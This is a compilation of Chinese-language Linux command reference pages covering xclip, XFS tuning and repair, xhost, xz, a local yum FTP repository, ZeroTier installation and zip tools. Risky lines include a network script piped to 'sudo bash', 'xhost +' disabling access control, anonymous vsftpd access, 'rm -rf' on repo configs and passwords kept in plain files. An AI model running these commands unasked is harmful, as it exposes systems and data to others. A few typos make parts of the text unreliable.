        test -e /etc/init/xbmc.override && grep -xq "manual" /etc/init/xbmc.override && { stop && exit 0; } || :
        if test -e /etc/rc2.d/S??lightdm; then
                if test -e /etc/init/xw.conf; then
                    start -n xw; while status xw | grep -q 'start/'; do sleep 60; done
                fi

                stop && exit 0
        fi

        waitfor()
        {
            [ -z "$1" ] && return 0
            initctl emit -n xbmc-rc || :

            for p in $1; do
                for i in $(seq 1 30); do pgrep $p >/dev/null && break || sleep 0.5; done
            done
        }

        [ ! -e $CONFIG ] || . $CONFIG
        if ls /etc/init/lirc* >/dev/null 2>&1; then
            grep -qw ^manual /etc/init/lirc* || WAITFOR="$WAITFOR lircd"
        fi
        waitfor "$WAITFOR"

end script

```
</div>
!!简介
:<div>
xclip
===

管理 X 粘贴板

</div>

!! 补充说明

:<div>


在 X 系统里面,从一个窗口复制一段文字到另一个窗口,有两套机制,分别是 Selections 和 cut buffers。

常用的 copy & paste 是利用的 cut buffers 机制;另外用鼠标选中一段文字,然后在另一个窗口按鼠标中键实现复制,利用的是 selections 机制。selection 又可以分为 master 和 slave selection。

当用鼠标选中一段文件,这段文字就自动被复制到 master selection。然后在另一个地方按鼠标中键,就自动把 master selection 的内容粘贴出来。

当你想复制少量文字的时候,两种方法都是很方便的。但是当复制大段文字的时候就挺麻烦。另外就是你可能会频繁的执行一些复制粘贴工作,不停的用鼠标选中文字,然后再粘贴。这是对手指的折磨。

我忍受不了这种折磨,所以发现了 xclip, 方便的管理 X selections 里面内容的工具。

比如如下命令就把文件 /etc/passwd 的内容复制到 X master selections 里面了。

```
xclip -i /etc/passwd

```

然后到别的地方就能复制出来,利用鼠标中键。或者是更舒服的 shift+insert。 我现在最常用的方法是通过键盘绑定来管理 X master selections 的内容。比如 alt+F1 就能把我的 ~/f1 的内容复制到 X master selections,alt+F2 复制 ~/f2 的内容。这样就能把你需要经常用到的内容方便的进行复制粘贴。比如常用的密码啥的。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
# 安装<pre>
用于管理 XFS 分区的工具位于 xfsprogs 软件包中,该包默认已经安装在基本系统中。
</pre>
# 数据损坏<pre>
如果遇到了任何原因的引起的数据损坏,就需要手动修复文件系统。
</pre>

## 修复 XFS 文件系统<pre>

先卸载 XFS 文件系统:

```
# umount /dev/sda3
```


卸载后,运行 [[xfs_repair]](8) 工具来修复:

```
# xfs_repair -v /dev/sda3
```
</pre>
# 在线元数据检查 (scrub)<pre>

警告: 该程序目前是实验性的,这意味着它的行为和接口可能随时发生变化。参见 xfs_scrub(8)。

xfs_scrub 请求内核检查 文件系统 中的所有元数据对象。内核会扫描元数据记录以查找明显错误的值,然后与其他元数据进行交叉引用。其目的是通过检查单个元数据记录与文件系统中其他元数据的一致性,建立对整个文件系统一致性的合理置信度。如果存在完整的冗余数据结构,则可以根据其他元数据重建损坏的元数据。

Enable xfs_scrub_all.timer 以定期在线检查所有文件系统元数据。有时可能需要编辑 xfs_scrub_all.timer,因为它仅在每周日上午 3:10 运行。
</pre>
# 数据完整性<pre>
xfsprogs 3.2.0 引入了一种新型磁盘格式 (v5),其包含了称为 自描述元数据 (Self-Describing Metadata) 的元数据校验方案。 基于 CRC32,它提供的额外保护措施可以在意外断电时防止元数据损坏。当使用 xfsprogs 3.2.3 或更高版本时,这种校验默认是打开的。如果需要在旧版内核中挂载 XFS 为可读写,可以在调用 mkfs.xfs(8) 时加上 -m crc=0 来关闭校验特性。


`#mkfs.xfs -m crc=0 /dev/target_partition`

自 Linux Kernel 3.15 起,XFS v5 磁盘格式被视作稳定特性,可用于生产环境。

注意: 与 Btrfs 和 ZFS 不同,XFS 中的 CRC32 校验仅用于元数据而非实际数据。
</pre>


# 性能<pre>
要获得最佳速度,只要这样创建 XFS 文件系统

# mkfs.xfs /dev/target_partition

对,就是这么简单 - 因为所有 新特性默认都是开启的。
警告: 关闭写入屏障 (barrier)、关闭访问时间记录 (atime) 以及其他性能增强功能会导致数据损坏和丢失的可能性更大。

根据 XFS wiki,可以考虑更改默认的 CFQ I/O 调度器(比如改成 Deadline、Noop 或 BFQ)来发挥 XFS 的所有优势,特别是在 SSD 上。
</pre>

## 带区大小和宽度<pre>
如果这个文件系统位于条带化的 RAID 上,可以在 mkfs.xfs(8) 命令中指定带区大小来获得显著的性能提升。

参考 How to calculate the correct sunit,swidth values for optimal performance
</pre>
##关闭写入屏障 (Barrier)<pre>
可以通过关闭文件系统的写入屏障来提高性能,方法是向 fstab 中添加 nobarrier 挂载选项。
</pre>
## 访问时间记录<pre>
某些文件系统可以通过在 /etc/fstab 文件中添加 noatime 挂载选项来增强性能。对于 XFS 文件系统来说,默认的访问时间记录行为是 relatime,与 noatime 相比这几乎没有额外开销,且仍然可以记录正确的访问时间。所有 Linux 文件系统现在都以这个选项为默认值(从大约 2.6.30 版本开始),但是 XFS 从 2006 年开始就采用了类似 relatime 的特性,因此不需要出于性能考虑而在 XFS 上使用 noatime。

另外,noatime 包含了 nodiratime,所以指定了 noatime 时就不需要指定 nodiratime。
</pre>
# 磁盘碎片整理<pre>
尽管 XFS 本质上基于区段 (Extent) 并且延迟分配策略很大程度上增强了它对磁盘碎片的抗性,XFS 仍然提供了磁盘碎片整理程序(xfs_fsr,XFS filesystem reorganizer 的缩写),它可以在已挂载且活动的 XFS 文件系统上整理碎片。定期查看 XFS 碎片也很有用。

xfs_fsr(8) 改进了已挂载文件系统的文件组织。该重组织算法一次操作一份文件,对文件进行压缩或改进文件区段布局(改成连续数据块)。
</pre>
## 检查碎片程度<pre>
查看当前文件系统中有多少磁盘碎片:

# xfs_db -c frag -r /dev/sda3

</pre>
## 进行碎片整理<pre>
要启动碎片整理,使用 xfs_fsr(8) 命令:

# xfs_fsr /dev/sda3

</pre>

# B+树(用于索引未用 inode)<pre>
自 Linux 3.16 起,XFS 增加了 B+树用于索引未被使用的 inode。它等同于索引已使用 inode 的 B+树,不同之处在于索引未用 inode 的 B+树至少包含一个未用 inode。这一设计的目的是改进分配 inode 时寻找未用 inode 簇的性能。它可以提高长期使用后的文件系统性能,比如你在数月或数年之间已经向文件系统写入或删除了数百万的文件。使用这个功能不会影响整个文件系统的可靠性程度或恢复能力。

这个功能依赖于新的 v5 磁盘格式,自 Linux Kernel 3.15 起它被视作可用于生产环境的稳定特性。它没有改变磁盘上原本的数据结构,但会添加一个新的结构来使它与 B+树(用于分配 inode)保持兼容;因此,旧版本的内核只能将带有 B+树功能的文件系统挂载为只读模式。

当使用 xfsprogs 3.2.3 或更高版本时这个功能默认是开启的。如果你需要一个旧版本内核可写入的文件系统,这个功能可以在格式化 XFS 分区时用 finobt=0 开关来关闭。你还需要把它和 crc=0 一起用。

# mkfs.xfs -m crc=0,finobt=0 /dev/target_partition
也可以简写(crc 包含了 finobt)


mkfs.xfs -m crc=0 /dev/target_partition
</pre>

# 故障排除<pre>
根文件系统配额
XFS 配额挂载选项(uquota、gquota、prjquota 等)会在重新挂载文件系统时失效。要对根文件系统启用配额功能,这个挂载选项需要作为 内核参数 rootflags= 传递给初始化内存盘 (initramfs)。在随后的启动过程中,这个选项不需要在 /etc/fstab 中挂载根 (/) 文件系统的选项里再次列出。
</pre>
* 参数
:<div>

* +:关闭访问控制,允许任何主机访问本地的X服务器;
* -:打开访问控制,仅允许授权清单中的主机访问本地的X服务器。
输入无变量的xhost命令将显示访问X服务器的当前主机名,并显示一条消息表明访问是否已启用。

为了安全起见,只能从控制主机运行影响访问控制的选项。对于工作站来说,这台机器也就是服务器。对于X终端来说,这台机器是登录主机。

要在缺省情况下启用远程名称,可以在/etc/X?.hosts文件中定义名称,其中?为启用访问的显示器号。

例如,显示器jeanne:0可以由使用jeanne的缺省主机名的系统上的/etc/X0.hosts文件中定义的系统访问。在显示名称和文件名中,0表明已定义的远程系统允许通过增强X-Windows访问的显示器号。

注意:-name参数,定义要从X服务器访问列表中除去的主机名。已有的连接没有被中断,但将拒绝新的连接请求。注意:可以除去当前的机器;然而,不允许进行进一步的连接(包括试图将其添加回来)。再一次启用本地连接的唯一方法就是将服务器复位(因此也会中断所有连接)。


</div>

*实例 
:<div>

|!command                |!描述|
|xhost +                 |是使所有用户都能访问Xserver.       |
|xhost + ip              |使ip上的用户能够访问Xserver.       |
|xhost + nis:user@domain |使domain上的nis用户user能够访问    |
|xhost + inet:user@domain|使domain上的inet用户能够访问。     |

</div>
!!简介
:<div>
xinit
===

是Linux下X-Window系统的初始化程序

</div>

!! 补充说明

:<div>


"xinit命令" 是Linux下X-Window系统的初始化程序,主要完成X服务器的初始化设置。

</div>

!! 语法  

:<div>


```
xinit(参数)
```

</div>

!! 参数  

:<div>


*   客户端选项:客户端指令及选项;
*   --:用于区分客户端选项和服务器端选项;
*   服务器端选项:服务器端选项指令及选项。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
xlsatoms
===

列出X服务器内部所有定义的原子成分

</div>

!! 补充说明

:<div>


"xlsatoms命令" 用于列出X服务器内部所有定义的原子成分,每个原子成分都有自身的编号。可利用参数设置列表范围,或直接指定欲查询的成分名称。

</div>

!! 语法  

:<div>


```
xlsatoms(选项)
```

</div>

!! 选项  

:<div>


*   -display<显示器编号>:指定X Server连接的显示器编号,该编号由"0"开始计算,依序递增;
*   -format<输出格式>:设置成分清单的列表格式,您可使用控制字符改变显示样式;
*   -name<成分名称>:列出指定的成分;
*   -range<列表范围>:设置成分清单的列表范围。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
xlsclients
===

列出显示器中的客户端应用程序

</div>

!! 补充说明

:<div>


"xlsclients命令" 用来列出显示器中的客户端应用程序。

</div>

!! 语法  

:<div>


```
xlsclients(选项)
```

</div>

!! 选项  

:<div>


```
-a:列出所有显示器的客户端应用程序信息;
-display<显示器编号>:指定X Server连接的显示器编号,该编号由"0"开始计算,依序递增;
-l:使用详细格式列表;
-m<最大指令长度>:设置显示指令信息的最大长度,单位以字符计算。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
xlsfonts
===

列出X Server使用的字体

</div>

!! 补充说明

:<div>


"xlsfonts命令" 列出X Server使用的字体,也能使用范本样式仅列出的符合条件的字体。

</div>

!! 语法  

:<div>


```
xlsfonts(选项)
```

</div>

!! 选项  

:<div>


```
-l:除字体名称外,同时列出字体的属性;
-ll:此参数的效果和指定"l"参数类似,但显示更详细的信息;
-lll:此参数的效果和指定"ll"参数类似,但显示更详细的信息;
-m:配合参数"-l"使用时,一并列出字体大小的上下限;
-n<显示栏位数>:设置每列显示的栏位数;
-o:以OpenFont的形式列出字体清单;
-u:列出字体清单时不依照其名称排序;
-w<每列字符数>:设置每列的最大字符数。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
xset
===

设置X-Window系统中的用户爱好的实用工具

</div>

!! 补充说明

:<div>


"xset命令" 是设置X-Window系统中的用户爱好的实用工具。

</div>

!! 语法  

:<div>


```
xset(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-b:蜂鸣器开关设置;
-c:键盘按键声响设置。
```

</div>

!! 参数  

:<div>


*   c:键盘按键声响设置;
*   s:屏幕保护程序设置。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
xz
===

POSIX 平台开发具有高压缩率的工具。

</div>

!! 补充说明

:<div>


"xz命令" XZ Utils 是为 POSIX 平台开发具有高压缩率的工具。它使用 LZMA2 压缩算法,生成的压缩文件比 POSIX 平台传统使用的 gzip、bzip2 生成的压缩文件更小,而且解压缩速度也很快。最初 XZ Utils 的是基于 LZMA-SDK 开发,但是 LZMA-SDK 包含了一些 WINDOWS 平台的特性,所以 XZ Utils 为以适应 POSIX 平台作了大幅的修改。XZ Utils 的出现也是为了取代 POSIX 系统中旧的 LZMA Utils。

</div>

!! 语法

:<div>


```
xz(选项)(参数)
xz [OPTION]... [FILE]...
```

</div>

!! 选项

:<div>


```bash
-z, --compress      强制压缩
-d, --decompress, --uncompress
                    force decompression
-t, --test          测试压缩文件的完整性
-l, --list          列出有关.xz文件的信息
-k, --keep          保留(不要删除)输入文件
-f, --force         强制覆盖输出文件和(解)压缩链接
-c, --stdout, --to-stdout
                    写入标准输出,不要删除输入文件
-0 ... -9           压缩预设; 默认为6; 取压缩机*和*
                    使用7-9之前解压缩内存使用量考虑在内!
-e, --extreme       尝试通过使用更多的CPU时间来提高压缩比;
                    要求不影响解压缩存储器
-T, --threads=NUM   最多使用NUM个线程; 默认值为1;  set to 0
                    设置为0,使用与处理器内核一样多的线程
-q, --quiet         抑制警告; 指定两次以抑制错误
-v, --verbose       冗长; 指定两次更详细
-h, --help          显示这个简洁的帮助并退出
-H, --long-help     显示更多帮助(还列出了高级选项)
-V, --version       显示版本号并退出
```

</div>

!! 参数

:<div>


*   源文件:指定连接的源文件。
*   目标文件:指定源文件的目标连接文件。

</div>

!! 实例

:<div>


压缩一个文件 test.txt,压缩成功后生成 test.txt.xz, 原文件会被删除。

```bash
$ xz test.txt
$ ls test.txt*

test.txt.xz
```

解压 test.txt.xz 文件,并使用参数 -k 保持原文件不被删除

```bash
$ xz -d -k test.txt.xz
$ ls test.txt*

test.txt.xz test.txt
```

使用参数 -l 显示 .xz 文件的基本信息。基本信息包括压缩率、数据完整性验证方式等。也可以和参数 -v 或 -vv 配合显示更详尽的信息。

```bash
xz -l index.txt.xz
# Strms  Blocks   Compressed Uncompressed  Ratio  Check   Filename
#    1       1        768 B      1,240 B  0.619  CRC64   index.txt.
```

使用参数 -0, -1, -2, … -6, … -9 或参数 --fast, --best 设定压缩率。xz 命令的默认为 -6 ,对于大多数系统来说,甚至是一些较旧的系统,-4 … -6 压缩率预设值都不错的表现。

```
$ xz -k7 xz_pipe_decomp_mini.c
$ xz -k --fast xz_pipe_decomp_mini.c
```

使用参数 -H 显示 xz 命令所有 options. 参数 -H 比使用参数 --help 显示的内容更详细。

```
$ xz -H  | more
```

借助 xargs 命令并行压缩多文件。下面的命令行可以将 /var/log 目录下所有的扩展名为 .log 的文件压缩。通过 xargs 命令同时运行多个 xz 进行压缩。

```bash
# 运行此命令须有 root 权限。
find /var/log -type f -iname "*.log" -print0 | xargs -P4 -n16 xz -T1
```
</div>
!!简介
:<div>
yes
===

重复打印指定字符串

</div>

!! 补充说明

:<div>


"yes命令" 在命令行中输出指定的字符串,直到yes进程被杀死。不带任何参数输入yes命令默认的字符串就是y。

</div>

!! 语法  

:<div>


```
yes(参数)
```

</div>

!! 参数  

:<div>


字符串:指定要重复打印的字符串。

</div>

!! 实例  

:<div>


```
[root@localhost ~]# yes testline

testline
testline
testline
testline
testline
testline
testline
testline
...一直重复打印 testline,按Ctrl+C结束。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ypdomainname
===

显示主机的NIS的域名

</div>

!! 补充说明

:<div>


"ypdomainname命令" 显示主机的NIS的域名。

</div>

!! 语法  

:<div>


```
ypdomainname(选项)
```

</div>

!! 选项  

:<div>


```
-v:详细信息模式。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
! 示例
:<div>

```bash
#删除yum的进程锁
rm -f /var/run/yum.pid

#建立本地yum源
```

;建立本地FTP yum源

```bash
# install ftp
yum -y install vsftpd createrepo yum-utils
#创建根目录
mkdir /data/repo 
cd /data/repo
# 同步epel和base的yum源
reposync -r base
reposync -r epel
# 创建yum源
createrepo .
# 根目录更改属主为ftp
chown ftp.ftp /data/repo
# 根目录去掉属主w权限
chmod u-w /data/repo

# 创建vsftpd.conf
cat > /etc/vsftpd/vsftpd.conf << EOF
anonymous_enable=YES
anon_root=/data/repo
local_enable=YES
write_enable=YES
local_umask=022
dirmessage_enable=YES
xferlog_enable=YES
connect_from_port_20=YES
xferlog_std_format=YES
listen=NO
listen_ipv6=YES
pam_service_name=vsftpd
userlist_enable=YES
tcp_wrappers=YES
EOF
# 启动服务
systemctl start vsftpd

# 清空yum源
rm -rf /etc/yum.repos.d/*
# 创建yum源
cat > /etc/yum.repos.d/local.repo << EOF
[base]
name=local
baseurl=ftp://dns01/
gpgcheck=0
enabled=1
EOF

# 测试
yum clean all
yum makecache 
yum search vim
```
</div>
```bash
function yum_install(){
    pkg=$1
    if `rpm -qa| grep -q ${pkg}`;then
        echo "${pkg} is installed . pass"
    else
        echo "${pkg} installing ...."
        yum install -y ${pkg}
    fi
}
```
!简介
:<div>

```
zcat命令用于不真正解压缩文件,就能显示压缩包中文件的内容的场合。
```
</div>



!选项 
:<div>

|!参数|!描述|
|-S|指定gzip格式的压缩包的后缀。当后缀不是标准压缩包后缀时使用此选项|
|-c|将文件内容写到标注输出|
|-d|执行解压缩操作|
|-l|显示压缩包中文件的列表|
|-L|显示软件许可信息|
|-q|禁用警告信息|
|-r|在目录上执行递归操作|
|-t|测试压缩文件的完整性|
|-V|显示指令的版本信息|
|-l|更快的压缩速度|
|-9|更高的压缩比|
</div>
* install<pre>

```bash
curl -s 'https://pgp.mit.edu/pks/lookup?op=get&search=0x1657198823E52A61' | gpg --import && \
if z=$(curl -s 'https://install.zerotier.com/' | gpg); then echo "$z" | sudo bash; fi
```
</pre>
! 1. 树莓派2B 编译安装 
:<div>

```bash
# 安装依赖工具
apt install git make gcc g++ coreutils

#下载源码
git clone https://github.com/zerotier/ZeroTierOne.git

# 加载内核模块
echo  tun >> /etc/modules

# 启动脚本 
sed -i '/exit 0/i\service zerotier-one restart' /etc/rc.local

#编译安装
sudo make && sudo make install

# 启动
zerotier-one -d

# check
ss -ant | grep 9993
lsof -i:9993

# join
zerotier-cli join "network-id"

# listnetwork
zerotier-cli listnetworks

# check ip add
ip add

```
</div>
!!简介
:<div>
zfore
===

强制为gzip格式的压缩文件添加.gz后缀

</div>

!! 补充说明

:<div>


"zfore命令" 强制为gzip格式的压缩文件添加“.gz”后缀。

</div>

!! 语法  

:<div>


```
zfore(参数)
```

</div>

!! 参数  

:<div>


文件列表:指定要添加“.gz”后缀的gzip压缩文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
zip
===

可以用来解压缩文件

</div>

!! 补充说明

:<div>


"zip命令" 可以用来解压缩文件,或者对文件进行打包操作。zip是个使用广泛的压缩程序,文件经它压缩后会另外产生具有“.zip”扩展名的压缩文件。

</div>

!! 语法

:<div>


```
zip(选项)(参数)
```

</div>

!! 选项

:<div>


```
-A:调整可执行的自动解压缩文件;
-b<工作目录>:指定暂时存放文件的目录;
-c:替每个被压缩的文件加上注释;
-d:从压缩文件内删除指定的文件;
-D:压缩文件内不建立目录名称;
-f:此参数的效果和指定“-u”参数类似,但不仅更新既有文件,如果某些文件原本不存在于压缩文件内,使用本参数会一并将其加入压缩文件中;
-F:尝试修复已损坏的压缩文件;
-g:将文件压缩后附加在已有的压缩文件之后,而非另行建立新的压缩文件;
-h:在线帮助;
-i<范本样式>:只压缩符合条件的文件;
-j:只保存文件名称及其内容,而不存放任何目录名称;
-J:删除压缩文件前面不必要的数据;
-k:使用MS-DOS兼容格式的文件名称;
-l:压缩文件时,把LF字符置换成LF+CR字符;
-ll:压缩文件时,把LF+cp字符置换成LF字符;
-L:显示版权信息;
-m:将文件压缩并加入压缩文件后,删除原始文件,即把文件移到压缩文件中;
-n<字尾字符串>:不压缩具有特定字尾字符串的文件;
-o:以压缩文件内拥有最新更改时间的文件为准,将压缩文件的更改时间设成和该文件相同;
-q:不显示指令执行过程;
-r:递归处理,将指定目录下的所有文件和子目录一并处理;
-S:包含系统和隐藏文件;
-t<日期时间>:把压缩文件的日期设成指定的日期;
-T:检查备份文件内的每个文件是否正确无误;
-u:更换较新的文件到压缩文件内;
-v:显示指令执行过程或显示版本信息;
-V:保存VMS操作系统的文件属性;
-w:在文件名称里假如版本编号,本参数仅在VMS操作系统下有效;
-x<范本样式>:压缩时排除符合条件的文件;
-X:不保存额外的文件属性;
-y:直接保存符号连接,而非该链接所指向的文件,本参数仅在UNIX之类的系统下有效;
-z:替压缩文件加上注释;
-$:保存第一个被压缩文件所在磁盘的卷册名称;
-<压缩效率>:压缩效率是一个介于1~9的数值。
```

</div>

!! 参数

:<div>


*   zip压缩包:指定要创建的zip压缩包;
*   文件列表:指定要压缩的文件列表。

</div>

!! 实例

:<div>


将`/home/Blinux/html/`这个目录下所有文件和文件夹打包为当前目录下的html.zip:

```
zip -q -r html.zip /home/Blinux/html
```

上面的命令操作是将绝对地址的文件及文件夹进行压缩,以下给出压缩相对路径目录,比如目前在Bliux这个目录下,执行以下操作可以达到以上同样的效果:

```
zip -q -r html.zip html
```

比如现在我的html目录下,我操作的zip压缩命令是:

```
zip -q -r html.zip *
```

压缩效率选择:

```
zip -9 # 1-9 faster->better
```

</div>

!! 问题解决

:<div>


CentOS7中命令找不到

```
-Bash: Unzip: Command Not Found
```

解决方法

```bash
yum install -y unzip zip
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
zipinfo
===

用来列出压缩文件信息

</div>

!! 补充说明

:<div>


"zipinfo命令" 用来列出压缩文件信息。执行zipinfo指令可得知zip压缩文件的详细信息。

</div>

!! 语法  

:<div>


```
zipinfo(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-1:只列出文件名称;
-2:此参数的效果和指定“-1”参数类似,但可搭配“-h”,“-t”和“-z”参数使用;
-h:只列出压缩文件的文件名称;
-l:此参数的效果和指定“-m”参数类似,但会列出原始文件的大小而非每个文件的压缩率;
-m:此参数的效果和指定“-s”参数类似,但多会列出每个文件的压缩率;
-M:若信息内容超过一个画面,则采用类似more指令的方式列出信息;
-s:用类似执行“ls-l”指令的效果列出压缩文件内容;
-t:只列出压缩文件内所包含的文件数目,压缩前后的文件大小及压缩率;
-T:将压缩文件内每个文件的日期时间用年,月,日,时,分,秒的顺序列出;
-v:详细显示压缩文件内每一个文件的信息;
-x<范本样式>:不列出符合条件的文件的信息;
-z:如果压缩文件内含有注释,就将注释显示出来。
```

</div>

!! 参数  

:<div>


文件:指定zip格式的压缩包。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
zipsplit
===

将较大的zip压缩包分割成各个较小的压缩包

</div>

!! 补充说明

:<div>


"zipsplit命令" 用于将较大的“zip”压缩包分割成各个较小的“zip”压缩包。

</div>

!! 语法  

:<div>


```
zipsplit(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-n:指定分割后每个zip文件的大小;
-t:报告将要产生的较小的zip文件的大小;
-b:指定分割后的zip文件的存放位置。
```

</div>

!! 参数  

:<div>


文件:指定要分割的zip压缩包。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
znew
===

将.Z压缩包重新转化为gzip命令压缩的.gz压缩包

</div>

!! 补充说明

:<div>


"znew命令" 用于将使用compress命令压缩的“.Z”压缩包重新转化为使用gzip命令压缩的“.gz”压缩包。

</div>

!! 语法  

:<div>


```
znew(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-f:强制执行转换操作,即是目标“.gz”已经存在;
-t:删除原文件前测试新文件;
-v:显示文件名和每个文件的压缩比;
-9:食用油花的压缩比,速度较慢;
-P:使用管道完成转换操作,以降低磁盘空间使用;
-K:当“.Z”文件比“.gz”文件小时,保留“.Z”文件。
```

</div>

!! 参数  

:<div>


文件:指定compress指令压缩生成的“.Z”压缩包。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>